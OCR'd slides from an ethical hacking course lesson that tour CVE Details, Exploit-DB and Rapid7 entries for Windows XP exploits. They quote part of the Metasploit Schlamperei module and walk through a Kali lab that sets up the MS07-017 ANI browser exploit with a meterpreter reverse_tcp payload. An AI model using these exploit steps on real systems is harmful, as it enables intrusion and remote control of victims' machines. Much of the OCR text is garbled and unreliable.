users to gain privileges via a crafted applicat

39 CVE-2013-1294 362 +Priv 2013- 2013- 4.9 None Local Low Not required Complet:
04-09 11-02

Race condition in the kernel in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Serv
and R2 SP1, Windows 7 Gold and SP1, Windows 8, Windows Server 2012, and Windows RT allows local users to gain privileges vi
application that leverages improper handling of objects in memory, aka "Kernel Race Condition Vulnerability."

40 CVE-2013-1292 362 +Priv 2013- 2013- 6.9 None Local Medium Not required Complet:
04-09 11-02

Race condition in win32k.sys in the kernel-mode drivers in Microsoft Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 ¢
and SP1, Windows 8, Windows Server 2012, and Windows RT allows local users to gain privileges via a crafted application that ley
handling of objects in memory, aka "Win32k Race Condition Vulnerability."

41 CVE-2013-1287 264 Exec Code  2013- 2013- - None  Local Low Not required Complets
03-12 11-02

The USB kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Se
and R2 SP1, Windows 7 Gold and SP1, Windows 8, and Windows Server 2012 do not properly handle objects in memory, which al
proximate attackers to execute arbitrary code by connecting a crafted USB device, aka "Windows USB Descriptor Vulnerability,” a
vulnerability than CVE-2013-1285 and CVE-2013-1286.

42 CVE-2013-1286 264 Exec Code 2013- 2013- - None Local Low Not required Complet:
03-12  11-02
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CVE Details

[ CVE security vulnerabilit. % / [% CVE-2013-1300:win32k X ' [ Microsoft Windows Serv. X | [ Metasploit modules relz: X

& (] | @ www.cvedetails.com/cve/CVE-2013-1300/ @ | D

CVE DEtaiIS | V.Search

- . ) . (e.g.: CVE-2009-1234 or 2010-1234 or 20101234}‘
The ultimate security vulnerability datasource
logIn Register Multiple exploits are available fsecb.com
itch https://
S — Vulnerability Details : CVE-2013-1300 (1 public exploit) (1 Metasploit modules)

Home

Browse :
Vendors win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows
Products Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows Server 2012, and

Vulnerabilities By Date

Windows RT does not properly handle objects in memory, which allows local users to gain privileges via a crafted
Vulnerabilities By Type

application, aka "Win32k Memory Allocation Vulnerability."
Publish Date : 2013-07-09 Last Update Date : 2016-09-09

Reports :

CVSS Score Report
CVSS Score Distribution
Search : Collapse All Expand All Select Select&Copy Scroll To Comments External Links

Vendor Search Search Twitter Search YouTube Search Google

Product Search — CVSS Scores & Vulnerability Types

Version Search

Vulnerability Search CVSS Score -

By Microsoft References
Top 50 :

Vendors

Confidentiality Impact Complete (There is total information disclosure, resulting in all system files being revealed.)

Integrity Impact Complete (There is a total compromise of system integrity. There is a complete loss of

system protection, resulting in the entire system being compromised.)
Vendor Cvss Scores

Availability Impact Complete (There is a total shutdown of the affected resource. The attacker can render the
resource completely unavailable.)

Products
Product Cvss Scores

Versions Access Complexity Low (Specialized access conditions or extenuating circumstances do not exist. Very little
knowledge or skill is required to exploit.
Other: g q P ) .
LT 3 SN LT e Blmd wemmvs sdarmd T A b mem bl mm bl men T am b cmm s sfarm i b mvcemla i s v il m e L Y
4 [ 4
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- O >
[ CVE security vulnerabilit. % / [ CVE-2013-1300:win32k X Y [] Microsoft Windows Serv. % [ Metasploit medules rela: X

& c | Q@ www.cvedetails.com/cve/CVE-2013-1300/#references @ T | (v ]
Microsoft Security Bulletin MS13-053 Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution This -

security update resolves two publicly disclosed and six privately reported vulnerabilities in Microsoft Windows. The most severe

vulnerability could allow remote code execution if a user views shared content that embeds TrueType font files. An attacker who
successfully exploited this vulnerability could take complete control of an affected system.

Vulnerabilities addressed in this bulletin:

e Win32k Memory Allocation Vulnerability
e Win32k Dereference Vulnerability
Win32k Vulnerability

s TrueType Font Parsing Vulnerability

Win32k Information Disclosure Vulnerahility

Win32k Buffer Overflow Vulnerability

Win32k Buffer Overwrite Vulnerability Reference tO the EXp/Oit
s Win32k Read AV Vulnerability Da tabase

Release Date:2013-07-09

Exploit! http://www.exploit-db.com/exploits/33213
EXPLOIT-DB 33213 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) Author:metasploit Release
Date:2014-05-06 (windows) local

— Metasploit Modules Related To CVE-2013-1300

Windows NTUserMessagecCall Win32k Kernel Pool Overflow (Schlamperei)

This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL
for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe,
achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when a
meterpreter session started by this exploit exits, winlogin.exe is likely to crash.

Module type : exploit Rank : average Platforms : Windows
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Exploit Database

[ CVE security vulnerabilit. X [ CVE-2013-1300:win32k X ;' % Microsoft Windows - NT' X% % [ Microsoft Windows Serv: % | [ Metasploit modules relz: X

(] | & https://www.exploit-db.com/exploits/33213/

Ell'l.lll'l'% H Exploi Shellcod P Google Hacking Datab Submi search
nnrnnnsi ome xploits ellcode apers oogle Hacking Database ubmit earc

Microsoft Windows - NTUserMessageCall Win32k Kernel Pool
Overflow (Schlamperei)

On the Exploit Database
EDB-ID: 33213 Author: Metasploit CVE: CVE-2013-1300 We Can VIeW the pUbIIC
Published: 2014-05-06  Type: local Platform: Windows eXp/OIt-

E-DB Verified: ¢ Exploit: § Download // [1View Raw  Vulnerable App: N/A

Tags: Metasploit Framework

« Previous Exploit Next Exploit »

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core’
require ‘msf/core/post/windows/reflective_dll_injection’
require ‘rax’

class Metasploit3 < Msf::Expleit::Local
Rank = GreatRanking

include Msf::Post::File

include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo

https://www.exploit-db.com/exploits/33213
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Exploit Database

[ CVE security vulnerabilit. X [ CVE-2013-1300:win32k X 72 MWR Labs Pwn20wn 20 X ;' % Microsoft Windows - NT X ' [} Microsoft Windows Serv: X [ Metasploit modules rela: X

(] | & https://www.exploit-db.com/exploits/33213/

EXPLOIT »~

III'I'ABASE Home Exploits Shellcode Papers Google Hacking Database Submit Search
NOTE: when you exit the meterp%eter session,dwinlogon.exe is likely to crash.
1
"License’ =» MSF_LICEMNSE,
'Author’ =>
[
‘Nils", #Original Exploit
‘Jon’, #0riginal Exploit
'Donato Capitella <donato.capitellalat]mwrinfosecurity.com»', # Metasploit Conversion
'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;)
1.
"Arch’ => ARCH_X&6,
'Platform’ =» 'win',
'SessionTypes’ =» [ 'meterpreter’ ],

'DefaultOptions’ =»

"EXITFUNC® => ‘thread’,

'Ta;gets' =>

[ 'Windows 7 sPe/spi*, { } 1]
'Pl;rload' ->

'Space”’ =» 4096,

'DisableNlops’ =» true
‘References’ =»

[ 'cve', 'ze13-13e0' 1,
[ 'MSB®, 'Ms13-853° 1,
[ "URL", "https://labs.mwrinfosecurity.com/blog/2013/89/86/mur-1abs-pwn2own-2813-write-up---kernal-exploit/’ ]

1s
'DisclosureDate’ =» 'Dec 61 2013°,
'DefaultTarget' =» 8
1)

end

def check
0s = sysinfo["05"]
unless (os =~ fwindows/i)
return Exploit::CheckCode: :Unknown
end

file_path = expand_path("%windir®") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win3zk.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

case build
when 7608
return Exploit::CheckCode: :Vulnerable

www.exploit-db.com/exploits/33213
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[ CVE security vulnerabilit. % / [ CVE-2013-1300:win32k X Y [] Microsoft Windows Serv. % [ Metasploit medules rela: X

& c | Q@ www.cvedetails.com/cve/CVE-2013-1300/#references @ T | (v ]

Microsoft Security Bulletin MS13-053 Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution This -
security update resolves two publicly disclosed and six privately reported vulnerabilities in Microsoft Windows. The most severe
vulnerability could allow remote code execution if a user views shared content that embeds TrueType font files. An attacker who
successfully exploited this vulnerability could take complete control of an affected system.

Vulnerabilities addressed in this bulletin:

e Win32k Memory Allocation Vulnerability
e Win32k Dereference Vulnerability

o Win32k Vulnerability

s TrueType Font Parsing Vulnerability

» Win32k Information Disclosure Vulnerahility

» Win32k Buffer Overflow VYulnerability BaCk On the CVE Details

s Win32k Buffer Overwrite Vulnerability - .

s Win32k Read AV Vulnerability VYebSIte there IS.aISO a
Release Date:2013-07-09 /Ink to Metasp/OIt

Exploit! http://www.exploit-db.com/exploits/33213 eXpIO/t

EXPLOIT-DB 33213 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) Author:metasploit Release
Date:2014-05-06 (windows) local

CMetasploit Modules Related To CVE-2013-1300 \

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the AQ
for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exg,
achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when
meterpreter session started by this exploit exits, winlogin.exe is likely to crash.

%)dule type : exploit Rank : average Platforms : Windows )

-

a

135



http://www.cvedetails.com/cve/CVE-2013-1300/

CIS 76 - Lesson 10
RAPID7/

[ CVE security vulnerabilit, % [% CVE-2013-1300 : win32 X/ ¥ CVE-2013-1300 Window X \\ Microsoft Windows - NT % [ Microsoft Windows Serv. X | [ Metasploit modules rela: X

c | & https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei 1'.‘r| o

ContactUs  Community  Support @ Login  Careers [ESNS=gIveJR
RA‘ 'DD Solutions Products Services Partners Resources About Us

Back to search

WINDOWS NTUSERMESSAGECALL WIN32K KERNEL POOL OVERFLOW (SCHLAMPEREI)

This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM

process). This allows any unprivileged process to freely migrate to winlogon exe, achieving privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out

of chrome's sandbox. NOTE: when a meterprater session started by this exploit axits, winlogin.exe is likely to crash.

DEMO REQUEST

MODULE NAME

Get your copy of the world's leading penetration testing tool

exploit/windows/local/ms13_053_schlamperei

v
=
[
=
[~
=
(=]
[=]

Name of the Metasploit

AUTHORS ,
exploit and the authors & DOWNLOAD NOW

Nils

Jon

Donato Capitella <donata.capitella [at] mwrinfosecurity.com>
Ben Campbell <ben.campbell [at] mwrinfosecurity.com>

REFERENCES
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Background information on the

REFERENCES vulnerability and exploit.

CVE-2013-1300
MSB-MS513-053
URL: https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/

TARGETS

[
w
w
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w
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Windows 7 SP0O/SP1

PLATFORMS

CONTACT US

windows

ARCHITECTURES

x86

137



https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei

CIS 76 - Lesson 10

2 MWR Labs P Dw. X o bs X i f W ] i f ne X ] Metasploit moduls

vrinfosecurity.com/blo;

MWR .
I p BS Advisories /var/log/messages Publications Tools Careers

One of the referenced

. websites for getting

MWR Labs Pwn20wn 2013 Write-up - Kernel Exploit background information
MWR, 6 September 2013 on how the eXp/Oit
works.

fvar{log/messages

MWR Labs took part in Pwn20wn 2013, demonsirating a full sandbox escape
against Google Chrome. Two exploits were used in the demonstration:

+ Atype confusion in WebKit, Chrome's rendering Engine (CVE-2013-0912) We
blogged about this vulnerability previously.

A kernel pool overflow in Win32k which allowed us to break out of the sandbox
by compromising the underlying operating system (CVE-2013-1300).

This blog post discusses the details of the kemel vulnerability and exploit. The
specific vulnerability was fixed by Microsoft in MS013-053.

The details of this vulnerability were first presented at the Nordic Sec Conf in
Iceland (see our review of the conference). The slides of our presentation can be
downloaded here

Fuzzing the Windows Kernel
The specific vulnerability was found using MWR Labs’ Windows Kernel fuzzer. The

fuzzer found several crashes, and specifically triggered a number of crashes with
the following signature:

https://labs.mwrinfosecurity.com/blog/mwr-labs-pwn2own-2013-write-up-kernel-exploit/
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CVE security vulner X CVE-2013-1300:w X /' FJ CVE-2013-1300 Wir X ' /2 MWR Labs Pwn20v X % Microsoft Window:= X Microsoft Window:= X Metasploit moduls: X
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(RN https://www.rapid7.com/db/modules/exploit/windows/local/ms13_053_schlamperei
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DEVELOPMENT

Solutions Products Services Partners Resources About Us

Source Code

History

Metasploit instructions
on how to setup the

MODULE OPTIONS exploit options.

To display the available options, load the module within the Metasploit console and run the commands ‘show options’ or 'show advanced':

> use exploit/windows/local/ms13 853 schlamperei
exploit( )

> show targets

exploit(
exploit(

> set TARGET <target-id>
> show options

exploit( > exploit

RELATED VULNERABILITIES

MS13-053 s Kernel-Mode Drivers Could Allow Remote Code Execution [2850851)

Vulnerabilities in Window

DEMO REQUEST

i}
0
S
=
-
=
=
o
o
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Activity

Use CVE Details to find Metasploit exploits for Windows XP

http://www.cvedetails.com

How many exploits did you find? Write your answer in the chat window.
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CVE-2007-0033

(exists on EH-WinXP VM)
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CVE Details

- a X

[ CVE security wulnerabil X \ [ Microsoft Windows Xp % | [ CVE security vulnerabil X { [ Metasploit modulesr= % { FJ) CVE-2007-0038 Wince X ' FJ CVE-2008-4114 Micro- X ' [} CVE-2003-0533:Stack X

& c | @ www.cvedetails.com @ & | (e ]

. Start by searching for , -
CVE Details Windows XP vulnerabilities | o |

The ultimate security vulnerability datasourc

Log In Reqgister Vulnerability Feeds & WidgetsNew Ry v sies 1

Switch to https://

Browee Enter a CVE id, product, vendor, vulnerability type.
Products

Vulnerabilities By Date

Vulnerabilities By Type

Current CVSS Score Distribution For All Vulnerabilities

Reports :
CV5S5 Score Report
CVSS Score Distribution Distribution of all vulnerabilities by CVSS Scores Vulnerability Distribution By CVSS Scores
Search : CVSS Score Number Of Vulnerabilities Percentage CVSS Score Ranges
Mo
Vendor Search 122 0.20 P
Product Search 600 0.80 19837 Hos
Version Search 3216 4.10 3-4
15678
Vulnerability Search 3-4 1975 2.50 15609 45
By Microsoft References 4-5 15609 19.80 11893 ;—?
Top 50: 15678 19.80 9733 s
Vendors
Vendor Cuse S 9733 12.30 Mso
endor Cvss Scores
19837 25.10 3216 Wo-10
Products 1975
346 0.40 122 600 3468
Product Cvss Scores _ — —
Versions 11893 15.10
Other : Total 79009
Microsoft Bulletins Weighted Average CVSS Score: 6.8 -
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[ CVE security wulnerabil X Y [ Microsoft Windows X X

[ CVE security vulnerabi X [ Metasploit modules r= % FJ) CVE-2007-0038 Winde X ' FJ) CVE-2008-4114 Micro: X [ CVE-2003-0533:Stack X

<« C | ® www.cvedetails.com/google-search-results.php?q=windows +xpfisa=Search @

Product Cvss Scores

Versions
Other:

Microsoft Bulletins

Buatraq Entries

CWE Definitions

About & Contact

Feedback

CVE Help

EAQ

Articles
External Links :

NVD Website

CWE Web Site

View CVE :

e

Go

(e.g.: CVE-2009-1234 or
2010-1234 or 20101234)

View BID :

8

(e.g.: 12345)

Search By Microsoft
Reference ID:

Go
(e.g.: ms10-001 or
979352)

QHECUS Up LUITipuier = sausiacluurt yudrdarnseu

Services: Repairs All Windows OS, Updates Driver, Fixes All Windows Errors, Replaces Damaged files
Safe software- No malware or viruses. SSL Certificate. - McAfee Secure
Trusted PC Cleaners - Removes Malware & Viruses

powered by Google™ Custom Search

Microsoft Windows Xp : CVE security vulnerabilities, versions and ...
www.cvedetails.com/product/739/Microsoft-Windows-Xp.html?...
Microsoft Windows Xp security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list of versions.

Microsoft Windows Xp : List of security vulnerabilities
https:/iwww.cvedetails.com/.. list/.../Microsoft-Windows-Xp.html

Security vulnerabilities of Microsoft Windows Xp : List of all related CVE security vulnerabilities. CVSS Scores, vulnerability
details and links to full CVE details ...

CVE-2014-4971 : Microsoft Windows XP SP3 does not validate .| Sefect the link for the list

www.cvedetails.com/cve/CVE-2014-4971/ f M t / t d /
Sep 6, 2016 ... Microsoft Windows XP SP3 does not validate addresses in certa 0 e asp oIt moauies

users to write data to arbitrary ...

Metasploit modules related to Microsoft Windows Xp
www.cvedetails.com/metasploit...739/Microsoft-Windows-Xp.html

Metasploit modules related to Microsoft Windows Xp Metasploit provides useful information and tools for penetration testers,
security researchers, and IDS ...

Microsoft Windows Xp version : Security vulnerabilities
https:/iwww.cvedetails.com/.../Microsoft-Windows-Xp-_html

Security vulnerabilities of Microsoft Windows Xp version List of cve security vulnerabilities related to this exact version. You can
filter results by cvss scores, years ...
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Metasploit Modules related to Windows
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]
-

XP (Top)

[ CVE security vulne X / [ Metasploit modu

c ® www.cvedetails.com/metasploit-modules/product-7359/Microsoft-Windows-Xp.html

CVE Details

The ultimate security vulnerability datasource

Log In Register
Switch to https://
Home
Browse :
Vendors
Products
Vulnerabilities By Date

Vulnerabilities By Type

Reports :

CWVSS Score Report
CVSS Score Distribution

Search :
Vendor Search
Product Search
Version Search

Vulnerability Search

By Microsoft References
Top 50 :
Vendors

Vendor Cvss Scores

Products
Product Cvss Scores

Versions
Other:

Microsoft Bulletins

- [m]

X\ [ Microsoft Windov. X [ CVE security vulne X [ Metasploit modul- X ' F) CVE-2007-0038\0 X | FD CVE-2008-4114 N X [ CVE-2003-0533:° x

@ T

Search B
View CVE

Vulnerability Feeds & WidgetsNew Ry e sWe s

(e.g.: CVE-2009-1234 or 2010-1234 or 20101234)

Metasploit Modules Related To Microsoft Windows Xp

CVE-2002-1214 MS02-063 PPTP Malformed Control Data Kernel Denial of Service

This module exploits a kernel based overflow when sending abnormal PPTP Control Data packets to Microsoft Windows 2000 SP0-3 and XP
SP0-1 based PPTP RAS servers (Remote Access Services). Kernel memory is overwritten resulting in a BSOD. Code execution may be
possible however this module is only a DoS.

Module type : auxiliary Rank : normal

CVE-2003-352 MS03-026 Microsoft RPC DCOM Interface Overflow

This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium
research group and has been widely exploited ever since. This module cap-exnlait tha Enalich varciane of Windowe NT A 0 SD3-Aa i

2000, Windows XP, and Windows 2003 all in one request :)
Module type : exploit Rank : great Platforms : Wino?ows Bro Wse through the
various exploits

This module exploits a stack buffer overflow in the LSASS service, this vulnerability was originally found by eEye. WRen re-exploiting a
Windows XP system, you will need need to run this module twice. DCERPC request fragmentation can be performed by setting 'FragSize'
parameter.

Module type : exploit Rank : good Platforms :

ows

CVE-2003-533 MS04-011 Microsoft LSASS Service DsRoIerUDﬂraj

Windows

CVE-2003-719 MS04-011 Microsoft Private Communications Transport Overflow

This module exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack. This code is based on Johnny Cyberpunk's THC
release and has been tested against Windows 2000 and Windows XP. To use this module, specify the remote port of any SSL service, or the
port and protocol of an application that uses SSL. The only application protocol supported at this time is SMTP. You only have one chance to
select the correct target, if you are attacking IIS, you may want to try one of the other exploits first (WebDAV). If WebDAV does not work,
this more than likely means that this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using the wrong target may not
result in an immediate crash of the remote system.

Windnwe

Modile tune © avnlnit Bank - averans Dlatformsg -
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Metasploit Modules related to Windows XP (Bottom)

- [m] *
[ CVEsecurity vulne % /' [ Metasploitmodul- X '\ [ Microsoft Windov X [ CVE security vulne X [ Metasploit modul- X ' F) CVE-2007-0038\0 X | FD CVE-2008-4114 N X [ CVE-2003-0533:° x
P e
> C o www.cvedetails.com/metasploit-modules/product-7359/Microsoft-Windows-Xp.html Q% O

CVE-2006-3942 Microsoft SRV.SYS Pipe Transaction No Null

This module exploits a NULL pointer dereference flaw in the SRV.SYS driver of the Windows operating system. This bug was independently
discovered by CORE Security and ISS.
Module type : auxiliary Rank : normal

CVE-2006-4688 MS06-066 Microsoft Services nwapi32.dll Module Exploit

This module exploits a stack buffer overflow in the svchost service when the netware client service is running. This specific vulnerability is in
the nwapi32.dll module.
Module type : exploit Rank : good Platforms : Windows

CVE-2006-4688 MS06-066 Microsoft Services nwwks.dll Module Exploit

This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in
the nwapi32.dll module.
Module type : exploit Rank : good Platforms : Windows

CVE-2006-4691 MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow

This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows
2000 SP4 and Windows XP SP2. In order to exploit this vulnerability, you must specify a the name of a valid Windows DOMAIN. It may be
possible to satisfy this condition by using a custom dns and Idap setup, however that method is not covered here. Although Windows XP SP2
is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid
user credentials. Also, testing shows that a machine already joined to a domain is not exploitable.
Module type : exploit Rank— LDlas dtin
Advance to the next page
YT Ty rer T T .

- S — A modules related to this product. Visit metasploit web

Please note: Metasploit m
site for more details

Total number of modules found = 53 Page : 1 (This Page;
How does it work? Known limitations & technical details User agreement, disclaimer and privacy statement About & Contact Feedback
gistred trademark of the MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. CWE is a registred trademark of the MITRE Corporation and the authoritative source

s MITRE's CWE web site. OVAL is a registered trademark of The MITRE Corporation and the authoritative source of OVAL content is MITRE's OVAL web site.

n constitutes acceptance for use in an AS

mplied or otherwise, with regard to this information or its use. Any use of this information is at the user's
ess of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY
ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of
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CVE Details

The ultimate security vulnerability datasource

Log In Reaqister
Switch to https://
Home
Browse :
Vendors
Products
Vulnerabilities By Date

Vulnerabilities By Type

Reports :
CV5S5 Score Report

CVSS Score Distribution

@ www.cvedetails.com/metasploit-modules/product-739/Microsoft-Windows-Xp.htmI?sha=cdc916fdefdddd928daet65307afc206058a5623 &trc =538 page=2

% [ Microsoft Window X [ CVE security wulne X [ Metasploit modul- X | FJ CVE-2007-0038V. X  FJ CVE-2008-4114 1 X [ CVE-2003-0533:° X

a4 D

Search
View CVE

Vulnerability Feeds & WidgetsNew Ry v sies 1

-

(e.g.: CVE-2009-1234 or 2010-1234 or 20101234)

Metasploit Modules Related To Microsoft Windows Xp

CVE-2006-5614 Microsoft Windows NAT Helper Denial of Service

This module exploits a denial of service vulnerability within the Internet Connection Sharing service in Windows XP.
Module type : auxiliary Rank : normal

Search :
Vendor Search
Product Search
Version Search

Vulnerability Search

By Microsoft References

CVE-2007-38 Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)

This module exploits a buffer overflow vulnerability in the LoadAnilcon() function in USER32.dll. The flaw can be triggered through Internet
Explorer 6 and 7 by using the CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using
a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur
while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This vulnerability was
discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.

Module type : exploit Rank : great Platforms : Windows

Top 50:
Vendors
Vendor Cvss Scores

Products
Product Cvss Scores

Versions
Other:

Microsoft Bulletins

CVE-2007-38 Windows ANI LoadAnilIcon() Chunk Size Stack Buffer Overflow (SMTP)

Erene by wmo the cny Here is an Internet Explorer
exploit rated as "Great”

Determina and was redisco
CVE-2007-1765 Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)

Module type : exploit Rank

This module exploits a buffer overflow vulnerability in the LoadAnilcon() function of USER32.dll. The flaw is triggered through Outlook
Express by using the CURSOR style sheet directive to load a malicious .ANI file. This vulnerability was discovered by Alexander Sotirov of
Determina and was rediscovered, in the wild, by McAfee.

Module type : exploit Rank : great Platforms : Windows

The flaw is triggered through Outlook
as discovered by Alexander Sotirov of

CVE-2008-15 Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption
This module exploits a memory corruption within the MSVidCtl component of Microsoft DirectShow (BDATuner.MPEG2TuneRequest). By ~
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ContactUs  Community  Support &@Login  Careers FREE TOOLS
RA‘ IDD Solutions Products Services Fartners Resources About Us

Back to search

WINDOWS ANI LOADANIICON() CHUNK SIZE STACK BUFFER OVERFLOW (HTTP)

This module exploits a buffer overflow vulnerability in the LoadAnilconl() function in USER32.dIL. The flaw can be triggered through Internet Explorer 6 and 7 by using the
CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using 2 UNC path in a moz-icon URL and serving the .ANI file over
WebDAV. The vulnerable code in USER32.dlL will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target

has been chosen. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscoverad, in the wild, by McAfee.

MODULE NAME

Get your copy of the worlds leading penetration testing tool

exploit/windows/browser/ms07_017_ani_loadimage_chunksize

Here is more
AUTHORS information on the
exploit

J/  DOWNLOAD NOW

hdm <x [at] hdm.io>
skape <mmiller [at] hick.org>
Solar Eclipse <solareclipse [at] phreedom.org>

REFERENCES

Free Download: HIPAA and HITECH Act Compliance Guide
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CONTACT US
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RAPID/

- [m} X
[ CVEsecurity v X [ Metasploitme: X F2 CVE-2007-003° X [ Microsoft Winc X [ CVEsecurity v X [ Metasploit me: % | FJ CVE-2007-003° x | FJ CVE-2008-411- X [ CVE-2003-053 X
(RN https://www.rapid7.com/db/modules/exploit/windows/browser/ms07_017_ani_loadimage_chunksize + | 0
RAP’DB Solutions Products Services Partners Resources About Us
To display the available options, load the module within the Metasploit console and run the commands 'show eptions’ or "show advanced”:

> use exploit/windows/browser/ms@7 @17 ani_ loadimage chunksize &
. ul
exploit( ) > show targets 3
&
. . =}
exploit( > set TARGET <target-id> z
exploit( > show options e

exploit( > exploit

\2

RELATED VULNERABILITIES

J

conTACTUS [d

MS07-017: Vulnerabilities in GDI Could Allow Remote Code Execution [925902) Here iS information
on how to use the
exploit in Metasploit

RELATED MODULES

ows ANI LoadAnilcon[]) Chunk Size Stack Buffer Overflow [SMTP)
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EH-Kali-05

Applications > 08 - Exploitation Tools > Metasploit

[e]e)e}
S o$
oo o 22 Run Metasploit
nn o" oo "
05"500$55"055055"55555 o from the desktop
S" "05555550555555558555%8%0 o Appllcat/on menu
os" TS0SS8555555585558555850" "oo O
"o o "ss$So 05$555855555%0088
" "0$SSSS $S5555555555"55858S55%0
O 055555 SS5555555555058"""$SS50 "
055555 5555555555 " oo $S o $
$5585  $S8S00 "S$$S8555550 o0 $$S0S%00 0 ©
$5555008555550588S5 ""S50055555558" " "o
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"$5S555558555588 " $55"$55555850
os"MTINSssS5555S 000055 $5555558"
o""o S$$o $55S5555855885588 " 088S $
" Mo "SSSS  SSSsSnmnnnnmm & 058555
oSo" $$S$So " o 0$S3SSSs"
085585538500 "00$5555SS"
"S 0 050 S0 083838 "S555000055555555555838"05%0
"0 00 $50$"00555550555555555555"55555555" 05"
"Sooo $S0$ $555555555555555 55555555 0"
" SSSSS85555555555555558m e

O
O

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

metasploit v4.12.15-dev

1563 exploits - 904 auxiliary - 269 post
455 payloads - 39 encoders - 8 nops

Free Metasploit Pro trial: http://r-7.co/trymsp
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EH-Kali-05

use exploit/windows/browser/ms07 017 ani loadimage chunksize
show targets

set TARGET 0

msf > use exploit/windows/browser/ms07 017 ani loadimage chunksize
msf exploit (ms07 017 ani loadimage chunksize) > show targets

Exploit targets:

Name

(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista
IE6 on Windows NT, 2000, XP, 2003 (all languages)

IE7 on Windows XP SP2, 2003 SPl, SP2 (all languages)
IE7 and Firefox on Windows Vista (all languages)
Firefox on Windows XP (English)

Firefox on Windows 2003 (English)

msf exploit (ms07 017 ani loadimage chunksize) > set TARGET 0
TARGET => 0

msf exploit(ms07 017 ani loadimage chunksize) >

SRR

Note we got
this from the
RAPID7
website

Note: The target EH-WinXP is running IE 6. Let's try the "Automatic”

target to see if it works.
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EH-Kali-05

show options

msf exploit(ms07 017 ani loadimage chunksize) > show options
Module options (exploit/windows/browser/ms07 017 ani loadimage chunksize):

Name Current Setting Required Description

SRVHOST The local host to listen on. This must be an address on the local
machine or

SRVPORT The daemon port to listen on

SSL Negotiate SSL for incoming connections

SSLCert Path to a custom SSL certificate (default is randomly generated)

URIPATH The URI to use.

Exploit target:

Id Name

0 (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista

msf exploit (ms07 017 ani loadimage chunksize) >

Show options and make sure the required ones are set.




EH-Kali-05

show payloads
set payload windows/meterpreter/reverse tcp

msf exploit(ms07 017 ani loadimage chunksize) > show payloads

Compatible Payloads

Name Disclosure Rank Description

generic/custom normal Custom Payload
generic/debug trap normal Generic x86 Debug Trap
generic/shell bind tcp normal Generic Command Shell, Bind

< SNIPPED >

(Reflective Injection), Reverse TCP Stager (No NX or Win7)

windows/meterpreter/reverse ord tcp normal Windows Meterpreter
(Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

windows/meterpreter/reverse_tcp normal Windows Meterpreter
(Reflective Injection), Reverse TCP Stager

windows/meterpreter/reverse tcp allports normal Windows Meterpreter

< SNIPPED >
msf exploit(ms07 017 ani loadimage chunksize) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp
msf exploit (ms07 017 ani loadimage chunksize) >

Let's pick our favorite payload, reverse_tcp.




EH-Kali-05

show options
set LHOST 10.76.5.150

